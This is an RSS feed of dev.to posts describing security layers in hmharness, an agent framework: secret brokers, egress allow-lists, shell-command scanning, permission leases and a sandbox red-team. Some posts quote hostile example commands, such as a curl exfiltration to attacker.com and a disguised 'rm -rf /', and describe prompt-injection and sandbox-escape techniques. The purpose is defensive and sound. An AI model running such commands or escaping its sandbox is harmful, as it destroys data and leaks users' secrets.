<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 杨洪付</title>
    <description>The latest articles on DEV Community by 杨洪付 (@swsgbl).</description>
    <link>https://dev.to/swsgbl</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4206936%2F6780f7ef-be45-4d44-93c6-7062eef5e545.png</url>
      <title>DEV Community: 杨洪付</title>
      <link>https://dev.to/swsgbl</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/swsgbl"/>
    <language>en</language>
    <item>
      <title>The Secret-Broker Pattern: Stop Handing Credentials to Your AI Agent</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Mon, 16 Nov 2026 07:41:44 +0000</pubDate>
      <link>https://dev.to/swsgbl/the-secret-broker-pattern-stop-handing-credentials-to-your-ai-agent-5eej</link>
      <guid>https://dev.to/swsgbl/the-secret-broker-pattern-stop-handing-credentials-to-your-ai-agent-5eej</guid>
      <description>&lt;p&gt;When people ask "how do I stop an AI agent from being tricked into running dangerous commands?", they usually expect an answer about better prompts or smarter models. That's the wrong layer. A model that can be talked into something will eventually be talked into something. The reliable defenses are boring, deterministic, and sit between the model and the side effects.\n\nThis post documents the pattern we shipped in &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;hmharness&lt;/a&gt; (an open-source agent framework for HarmonyOS development, MIT licensed) — the same layering that came out of a prompt-injection postmortem we published after our own red-team pass. Three layers, each independently useful.\n\n## Layer 1: The agent never holds secrets\n\nThe core idea of the &lt;strong&gt;secret-broker pattern&lt;/strong&gt;: the agent process gets zero usable credentials. Not env vars, not files, not tokens in memory. Instead, a local broker process holds them.\n\nWhen the agent needs an authenticated call, it sends a credential-free request to the broker (&lt;code&gt;http://127.0.0.1:PORT/req?op=publish&lt;/code&gt;). The broker checks the requested operation against a policy file, attaches the right secret, forwards to the real endpoint, and returns only the result.\n\nWhy this matters for prompt injection: an attacker who fully controls the model's output gets... a credentialed-free agent. The worst it can do is ask the broker to do something — and the broker says no unless the op is on the allow-list. Injection stops being a credential-theft vector because there are no credentials to steal.\n\n## Layer 2: Egress allow-list, fail-closed\n\nThe broker also enforces where traffic may go. A domain allow-list, not a block-list. Anything not explicitly allowed is denied, and denied &lt;em&gt;closed&lt;/em&gt; — no fallback path, no "just this once."\n\nThis kills a whole class of exfiltration tricks that don't need credentials at all: &lt;code&gt;curl attacker.com/?$(cat .env)&lt;/code&gt; style payload smuggling. If the egress door only opens to three known domains, the smuggler is shouting into a closed pipe.\n\nNote the inversion from how most tools configure networks (default-open, block the bad). For agents, default-open means every novel exfiltration technique wins by default. Fail-closed means every novel technique has to first defeat an explicit allow-list — a much higher bar.\n\n## Layer 3: Dangerous verbs need a human signature\n\nThe third layer is about blast radius, not prevention. High-impact operations — publishing, paying, deleting, emailing — require a human approval bound to a specific parameter snapshot. Change one argument after approval, and the approval is void.\n\nThis is the layer that accepts an uncomfortable truth: you cannot fully "detect" prompt injection. Detection layers catch maybe 10% of injected patterns in empirical tests (a recent IEEE evaluation found a 3B-model pipeline flagged 38 of 372 injection prompts, and rejected zero on its own). Hard gates — not smarter detection — are what actually stop the 90%.\n\n## Why layers, and not one good layer\n\nEach layer fails differently:\n\n| Layer | Defends against | Failure mode |&lt;br&gt;
|---|---|---|&lt;br&gt;
| Secret broker | Credential theft | Broker policy too loose |&lt;br&gt;
| Egress allow-list | Exfiltration | Stale allow-list |&lt;br&gt;
| Human signature | Blast radius | Approval fatigue |\n\nStacked, one loose policy doesn't become a breach — the other two still hold. That's the whole point: assume each layer will eventually be misconfigured, and make sure that's survivable.\n\n## Notes from practice\n\nWe run this in hmharness &lt;code&gt;0.23.31+&lt;/code&gt; (&lt;code&gt;@hmharness/cli&lt;/code&gt; on npm): broker process with per-op policy, egress allow-list with fail-closed default, and approval-bound publish flows. It came out of our own CI incident retrospective era — the lesson generalizes: when the judge (CI, model, detector) can be deceived, you don't add more judging, you remove the judge's ability to cause harm.\n\nThe pattern is not HarmonyOS-specific and not hmharness-specific. If your agent stack has secrets in env vars today, the secret-broker refactor is the single highest-value security change you can make this week.\n\nWe're not affiliated with Huawei or OpenAtom — just building in the open. Feedback welcome, especially from anyone who has broken this pattern; we'd rather learn from you than from an incident.aisecurityarchitectureharmonyos&lt;/p&gt;

</description>
      <category>agents</category>
      <category>architecture</category>
      <category>llm</category>
      <category>security</category>
    </item>
    <item>
      <title>AI Command Gates That Only Read the First Word: Why shellgate Scans the Full Command</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Fri, 30 Oct 2026 18:58:10 +0000</pubDate>
      <link>https://dev.to/swsgbl/ai-command-gates-that-only-read-the-first-word-why-shellgate-scans-the-full-command-lb7</link>
      <guid>https://dev.to/swsgbl/ai-command-gates-that-only-read-the-first-word-why-shellgate-scans-the-full-command-lb7</guid>
      <description>&lt;p&gt;Agents execute model-generated commands, so they need a gate that checks whether a command is dangerous. The common first version: take the first word (npm/rm/curl), look it up in a blocklist. That works for &lt;code&gt;rm -rf /&lt;/code&gt; — and fails for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; rm -rf / &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; s.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; bash s.sh

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first word is &lt;code&gt;echo&lt;/code&gt;. What actually runs is the disk wipe.&lt;/p&gt;

&lt;p&gt;hmharness, an open-source agent framework for HarmonyOS/OpenHarmony development (MIT), ships a kernel-level module called shellgate that takes a different approach: scan the full command string, not a parsed fragment. Every line of a multi-line paste and every sub-command behind a pipe, redirect, or &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; stays inside the scan field.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foxk7q8sgl2f8ui9cvt31.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foxk7q8sgl2f8ui9cvt31.jpg" alt="hmharness shellgate: two blind spots and three defense layers" width="800" height="526"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two blind spots motivated this. First, the first word does not represent the nature of a command — wrappers like echo, xargs, or nohup hide the real payload behind an innocent head word. Second, multi-line pastes: a gate that only scans line one is a gate that scans nothing, because pasting is exactly the channel people use to smuggle in longer scripts.&lt;/p&gt;

&lt;p&gt;The granularity choice is deliberate. shellgate does not attempt full shell grammar parsing — that way lies an unmaintainable parser and endless edge cases. Instead it covers known dangerous patterns exhaustively and hands unknown patterns to a human approval gate. Scanning is the fast filter; approval is the final say. The two layers work together instead of pretending one static check can catch everything.&lt;/p&gt;

&lt;p&gt;This sits inside a three-layer defense: fenced paste guards what goes in (multi-line pastes follow an explicit convention), shellgate guards what executes, and LSP pinning guards dependencies (sha256 so nothing gets swapped mid-flight). The layers are independent — any single one failing does not take the whole system down.&lt;/p&gt;

&lt;p&gt;The general lesson: the scan granularity of a security gate sets its bypass cost. A gate that reads only the first word is bypassed by a single echo. A gate that scans the complete command string forces an attacker to construct an entirely new dangerous pattern — a different order of magnitude.&lt;/p&gt;




&lt;p&gt;hmharness wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom. shellgate ships in npm @hmharness/cli (CHANGELOG 0.23.16).&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aisecurityopensourcecli" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aisecurityopensourcecli&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>agents</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Same AI, Two Very Different Results: The Same-Name-Different-Engine PitSame AI, Two Very Different Results: The Same-Name-Different-Engine Pit</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Wed, 28 Oct 2026 19:07:48 +0000</pubDate>
      <link>https://dev.to/swsgbl/same-ai-two-very-different-results-the-same-name-different-engine-pitsame-ai-two-very-different-m7l</link>
      <guid>https://dev.to/swsgbl/same-ai-two-very-different-results-the-same-name-different-engine-pitsame-ai-two-very-different-m7l</guid>
      <description>&lt;p&gt;Most multi-entry products grow separate implementations behind the same name. An open-source agent framework for HarmonyOS development (hmharness, MIT) just lived through this pit — and the user who spotted it asked one question: "It is the same AI, why is it so different?"&lt;/p&gt;

&lt;p&gt;The scene: the same Dependabot task, run from two entry points. The BrowserOS assistant panel (ACP protocol) crushed it — read mails, GHSA forensics, npm fix, tests 7/7, draft PR, all in one flow. The extension sidebar stumbled constantly.&lt;/p&gt;

&lt;p&gt;The root cause had a name: same-name, different-engine. The panel ran the full runAgentTask (complete tool registry, real system prompts with memory/skills/insights, session continuity, approval cards). The sidebar was an early hand-rolled minimal chat loop. Same product name, two different machines.&lt;/p&gt;

&lt;p&gt;The fix was not to patch the sidebar — it was to delete it and rewire it to runAgentTask: per-Origin isolated sessions (conversations continue like real threads), tool calls streamed to the activity feed, approval through a conversational confirm gate (rejections record the exact call; confirmation pre-executes next turn and injects the result).&lt;/p&gt;

&lt;p&gt;The same convergence answered an architecture question: why does the extension not use ACP? Browser extensions run in a sandbox and cannot spawn local processes — a hard browser security boundary (the official ChatGPT extension works the same way, over cloud HTTP). So in extension-land the host bridge is a loopback bridge; both channels run the same runAgentTask, differing only in transport (HTTP vs stdio) and approval UI.&lt;/p&gt;

&lt;p&gt;The product lesson: the fix for multi-entry drift is to converge on a single core and let every entry point be a different shell of the same engine.&lt;/p&gt;




&lt;p&gt;hmharness wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aiarchitectureproductmanagementopensource" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aiarchitectureproductmanagementopensource&lt;/a&gt;&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>softwaredevelopment</category>
    </item>
    <item>
      <title>One CLI, Two Identities: MCP Client and MCP Server</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Wed, 28 Oct 2026 18:11:32 +0000</pubDate>
      <link>https://dev.to/swsgbl/one-cli-two-identities-mcp-client-and-mcp-server-1h5m</link>
      <guid>https://dev.to/swsgbl/one-cli-two-identities-mcp-client-and-mcp-server-1h5m</guid>
      <description>&lt;p&gt;MCP (Model Context Protocol) has become the de facto standard for AI tool interconnection — the community hosts 5800+ MCP servers you can plug into. Most tools pick one side: they either consume MCP servers or provide tools as one. &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;hmharness&lt;/a&gt; — an open-source (MIT) agent framework for HarmonyOS/OpenHarmony development — took the uncommon "both directions" approach.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity 1: Client (borrowing the ecosystem)
&lt;/h2&gt;

&lt;p&gt;hmharness connects to all 5800+ community MCP servers over both stdio and HTTP transports. When its agent works on a task, it can call any capability the ecosystem already has — query databases, read web pages, operate SaaS tools — without implementing each one itself. Stand on the ecosystem, don't rebuild it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity 2: Server (exporting the toolchain)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;hmh mcp-serve&lt;/code&gt; turns the entire HarmonyOS toolchain into native MCP tools that any MCP host can call. One line in Claude Code: claude mcp add hmharness -- npx -y @hmharness/cli mcp-serve — and the host immediately gets harmony_build, harmony_api_lookup, and the rest. No nested agent loops; tool calls are confirmed one by one by the host's own permission system.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two boundary rules
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Tool exposure has edges&lt;/strong&gt;: by default only harmony_* domain tools are exposed — run_command and write_file are NOT, because the host already has its own general tools. No duplication, no overstepping.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approval runs on two layers&lt;/strong&gt;: the host permission system handles "asking the user"; destructive hard-walls (deny red lines) permanently live on the server side. Each layer owns its segment; neither oversteps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Four entry channels, one system
&lt;/h2&gt;

&lt;p&gt;Terminal CLI, web workbench, browser extension, MCP/ACP protocol — whichever way an agent enters, it gets the same toolchain and the same approval system.&lt;/p&gt;

&lt;h2&gt;
  
  
  The practical payoff
&lt;/h2&gt;

&lt;p&gt;If you already write code with Claude Code or Codex, one command gives them the full HarmonyOS toolchain — build, sign, install, anti-hallucination API lookup — without switching tools. Your workflow stays; hmharness enters as a capability plugin.&lt;/p&gt;




&lt;p&gt;hmharness wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aimcpopensourcedevtools" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aimcpopensourcedevtools&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cli</category>
      <category>opensource</category>
      <category>softwaredevelopment</category>
    </item>
    <item>
      <title>Leases, Not Switches: Rethinking Permission Models for AI Agents</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Tue, 27 Oct 2026 15:44:26 +0000</pubDate>
      <link>https://dev.to/swsgbl/leases-not-switches-rethinking-permission-models-for-ai-agents-1581</link>
      <guid>https://dev.to/swsgbl/leases-not-switches-rethinking-permission-models-for-ai-agents-1581</guid>
      <description>&lt;p&gt;Most AI agent frameworks model permissions as switches: can-read-files yes/no, granted once, permanent until someone remembers to revoke. hmharness — an open-source (MIT) agent framework for HarmonyOS/OpenHarmony development — replaces this with a lease model built around a Capability Broker.&lt;/p&gt;

&lt;h2&gt;
  
  
  The eight-field token
&lt;/h2&gt;

&lt;p&gt;Every capability access goes through one broker, and every access presents a token with eight fields: subject (who holds it), class (filesystem / network / process / secret / device), scope, resource, operation, constraints, expiry, and provenance — who granted it and why. That last field is where the audit trail starts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 1: deny by default
&lt;/h2&gt;

&lt;p&gt;Tokens must be explicitly granted. There is no implicit inheritance. This sounds inefficient, but it buys a complete audit chain: every allow is traceable (who granted, why, when it expires), every deny has a reason.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 2: tokens always expire
&lt;/h2&gt;

&lt;p&gt;The expiry field has no "permanent" option. Default TTL is 1 hour, hard cap 24 hours. Permissions stop being one-time assets and become continuous leases — revocation turns into a matter of time, not management.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 3: the RLM rule, mechanized
&lt;/h2&gt;

&lt;p&gt;The hardest one: the worker tier (low-risk, read-only, no-network sandbox) rejects network/secret/process/device capabilities at the tier itself, regardless of what tokens it holds. "Low-privilege execution must not inherit host capabilities" stopped being a documentation rule and became an if-statement. Rules written in docs get forgotten; rules written in code get executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The execution ladder
&lt;/h2&gt;

&lt;p&gt;Low-risk + read-only + no network → worker tier. Medium risk or writes → process isolation. High risk or any network → container (Docker). Critical or long-running → microVM. The broker decides "whether"; the ladder decides "where". Together they form the complete execution policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Every decision is audited
&lt;/h2&gt;

&lt;p&gt;Each broker decision — allow or deny — is recorded, and the ledger mirror is wired through an injectable onDeny hook into the cognitive layer. Permission audit and the cognitive ledger share the same append-only discipline.&lt;/p&gt;

&lt;h2&gt;
  
  
  The general lesson
&lt;/h2&gt;

&lt;p&gt;Agent permissions, once granted, are hard to revoke — you may forget the agent has them, or they may already be in use. A lease model turns revocation into a time problem instead of a management problem.&lt;/p&gt;




&lt;p&gt;hmharness wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aisecurityarchitectureopensource" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aisecurityarchitectureopensource&lt;/a&gt;&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>architecture</category>
      <category>security</category>
    </item>
    <item>
      <title>Leases, Not Switches: Rethinking Permission Models for AI Agents</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Mon, 26 Oct 2026 19:37:24 +0000</pubDate>
      <link>https://dev.to/swsgbl/leases-not-switches-rethinking-permission-models-for-ai-agents-3bb3</link>
      <guid>https://dev.to/swsgbl/leases-not-switches-rethinking-permission-models-for-ai-agents-3bb3</guid>
      <description>&lt;p&gt;Most AI agent frameworks model permissions as switches: can-read-files yes/no, granted once, permanent until someone remembers to revoke. hmharness — an open-source (MIT) agent framework for HarmonyOS/OpenHarmony development — replaces this with a lease model built around a Capability Broker.&lt;/p&gt;

&lt;h2&gt;
  
  
  The eight-field token
&lt;/h2&gt;

&lt;p&gt;Every capability access goes through one broker, and every access presents a token with eight fields: subject (who holds it), class (filesystem / network / process / secret / device), scope, resource, operation, constraints, expiry, and provenance — who granted it and why. That last field is where the audit trail starts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 1: deny by default
&lt;/h2&gt;

&lt;p&gt;Tokens must be explicitly granted. There is no implicit inheritance. This sounds inefficient, but it buys a complete audit chain: every allow is traceable (who granted, why, when it expires), every deny has a reason.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 2: tokens always expire
&lt;/h2&gt;

&lt;p&gt;The expiry field has no "permanent" option. Default TTL is 1 hour, hard cap 24 hours. Permissions stop being one-time assets and become continuous leases — revocation turns into a matter of time, not management.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule 3: the RLM rule, mechanized
&lt;/h2&gt;

&lt;p&gt;The hardest one: the worker tier (low-risk, read-only, no-network sandbox) rejects network/secret/process/device capabilities at the tier itself, regardless of what tokens it holds. "Low-privilege execution must not inherit host capabilities" stopped being a documentation rule and became an if-statement. Rules written in docs get forgotten; rules written in code get executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The execution ladder
&lt;/h2&gt;

&lt;p&gt;Low-risk + read-only + no network → worker tier. Medium risk or writes → process isolation. High risk or any network → container (Docker). Critical or long-running → microVM. The broker decides "whether"; the ladder decides "where". Together they form the complete execution policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Every decision is audited
&lt;/h2&gt;

&lt;p&gt;Each broker decision — allow or deny — is recorded, and the ledger mirror is wired through an injectable onDeny hook into the cognitive layer. Permission audit and the cognitive ledger share the same append-only discipline.&lt;/p&gt;

&lt;h2&gt;
  
  
  The general lesson
&lt;/h2&gt;

&lt;p&gt;Agent permissions, once granted, are hard to revoke — you may forget the agent has them, or they may already be in use. A lease model turns revocation into a time problem instead of a management problem.&lt;/p&gt;




&lt;p&gt;hmharness wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aisecurityarchitectureopensource" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aisecurityarchitectureopensource&lt;/a&gt;&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>architecture</category>
      <category>security</category>
    </item>
    <item>
      <title>An Append-Only Ledger for AI Thoughts: Every Conclusion Has a Birth Certificate</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Sun, 25 Oct 2026 17:02:24 +0000</pubDate>
      <link>https://dev.to/swsgbl/an-append-only-ledger-for-ai-thoughts-every-conclusion-has-a-birth-certificate-3b85</link>
      <guid>https://dev.to/swsgbl/an-append-only-ledger-for-ai-thoughts-every-conclusion-has-a-birth-certificate-3b85</guid>
      <description>&lt;p&gt;Most AI tools keep a chat history for you to read. The cognitive ledger in &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;hmharness&lt;/a&gt; — an open-source (MIT) agent framework for HarmonyOS/OpenHarmony development — exists for a different reader: the auditor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;15 categories of cognitive events&lt;/strong&gt; (predictions, verifications, revisions, decisions, learning signals...) are append-only, never deleted, and each carries a lineage chain: which belief this prediction came from, which verification revised it, what descended from that revision. The whole cognitive process forms a replayable DAG.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why append-only
&lt;/h2&gt;

&lt;p&gt;History that can be edited after the fact is not history. If an AI can silently rewrite its records, what you see is a cosmetically improved decision chain — errors never admitted, revisions never traced. Immutability buys something expensive: &lt;strong&gt;accountability&lt;/strong&gt;. Any wrong prediction can be traced along its lineage to the belief that produced it; every revision has a paper trail.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ledger 2.0
&lt;/h2&gt;

&lt;p&gt;Five new event categories, plus &lt;strong&gt;beliefVersion&lt;/strong&gt; (versioned beliefs) and &lt;strong&gt;descendants&lt;/strong&gt; (derivation chains) — the cognitive DAG becomes fully replayable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Unified provenance prevents silent cheating
&lt;/h2&gt;

&lt;p&gt;Canonical &lt;strong&gt;lineageId&lt;/strong&gt;: conclusions from different experiments on different axes are not comparable unless their lineage matches. "Using data from experiment A to argue for conclusion B" is blocked by rule, not by goodwill.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this means for developers
&lt;/h2&gt;

&lt;p&gt;Every conclusion the agent gives you carries a birth certificate. When it says "this signing configuration is correct", you can ask the ledger: which verification produced this? What environment was used? Was it ever overturned — when, and on what grounds?&lt;/p&gt;

&lt;p&gt;The AI stops being a black box that speaks from memory, and becomes an executor with a complete medical record.&lt;/p&gt;

&lt;h2&gt;
  
  
  The philosophy in one line
&lt;/h2&gt;

&lt;p&gt;The web workbench guarantees "the numbers you see are traceable"; the ledger guarantees "what the AI knows is replayable". Two sides of the same principle: nothing inside the agent is unverifiable.&lt;/p&gt;




&lt;p&gt;hmharness wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aiobservabilityopensourceaudit" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aiobservabilityopensourceaudit&lt;/a&gt;&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>architecture</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Red-Teaming Our Own Agent Sandbox: 9 Attack Payloads, All Blocked</title>
      <dc:creator>杨洪付</dc:creator>
      <pubDate>Sun, 25 Oct 2026 16:35:56 +0000</pubDate>
      <link>https://dev.to/swsgbl/red-teaming-our-own-agent-sandbox-9-attack-payloads-all-blocked-5g7p</link>
      <guid>https://dev.to/swsgbl/red-teaming-our-own-agent-sandbox-9-attack-payloads-all-blocked-5g7p</guid>
      <description>&lt;p&gt;AI agents execute "commands generated by a model" — and prompt injection can steer that model into doing what an attacker wants. An agent without a sandbox hands your shell, filesystem, and network credentials to an executor that can be talked into misbehaving. A sandbox is not optional; it is the foundation.&lt;/p&gt;

&lt;p&gt;This post walks through the red-team test we built for the sandbox of &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;hmharness&lt;/a&gt; — an open-source (MIT) agent framework for HarmonyOS/OpenHarmony development — and its results: nine real attack payloads, all blocked, with the suite living in CI as a permanent regression gate.&lt;/p&gt;

&lt;h2&gt;
  
  
  The foundation: three primitives (Sandbox 2.0)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Egress allowlist&lt;/strong&gt; — outbound network is deny-by-default with an explicit allow table&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Mount policy&lt;/strong&gt; — filesystem boundaries the sandbox cannot cross&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SecretBroker&lt;/strong&gt; — secrets exist as reference handles; values are only resolvable under an active grant, and transcripts are automatically redacted. The model sees a handle, never the secret itself.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The nine payloads (Sandbox 2.1)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DNS-rebinding lookalike hosts&lt;/strong&gt; — trick the egress allowlist with visually similar hostnames&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Subdomain wildcard boundary&lt;/strong&gt; — abuse of "*.example.com allowed" rules&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;URL userinfo/fragment spoofing&lt;/strong&gt; — hiding things in the username and fragment segments&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Path traversal&lt;/strong&gt; — ../ escapes out of the workspace&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cross-drive escapes&lt;/strong&gt; — Windows multi-drive-letter boundary differences&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cross-subject secrets&lt;/strong&gt; — one session secret read by another session sandbox&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Forged handle references&lt;/strong&gt; — fake SecretBroker handles to resolve real values&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Revoked token replay&lt;/strong&gt; — reusing an already-revoked grant token&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Grant confusion&lt;/strong&gt; — grafting a high-privilege grant onto a low-privilege execution&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All nine blocked.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part that matters: it lives in CI
&lt;/h2&gt;

&lt;p&gt;An "all green" result is nice, but the real value is that the suite runs on every change to the sandbox code — a regression-proof red team. Anyone who touches the sandbox meets the nine payloads first.&lt;/p&gt;

&lt;p&gt;This completes a security trilogy: &lt;strong&gt;LSP pinning&lt;/strong&gt; (supply chain: sha256-pinned language servers, tamper = refuse to execute) and the &lt;strong&gt;browser extension bridge&lt;/strong&gt; (pairing code to local token, per-action approval for page_act) cover the other two capability surfaces. Every surface an agent has — execution, dependencies, browser — gets a defense, and every defense is itself testable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The general lesson
&lt;/h2&gt;

&lt;p&gt;Treat "the model will make mistakes" as a premise, not an exception. How much fault tolerance your system has for model errors determines whether it can run long tasks at all.&lt;/p&gt;




&lt;p&gt;hmharness is an open-source (MIT) agent framework for HarmonyOS/OpenHarmony development: it wires project creation, checks, builds, signing, install, launch, log reading, and result verification into a local toolchain so AI does not just generate code — it proves results against the local machine. Independent community project, no affiliation with Huawei or OpenAtom.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/swsgbl/hmharness" rel="noopener noreferrer"&gt;https://github.com/swsgbl/hmharness&lt;/a&gt; · Evidence: &lt;a href="https://swsgbl.github.io/hmharness/evidence/aisecurityopensourceharmonyos" rel="noopener noreferrer"&gt;https://swsgbl.github.io/hmharness/evidence/aisecurityopensourceharmonyos&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>security</category>
    </item>
  </channel>
</rss>
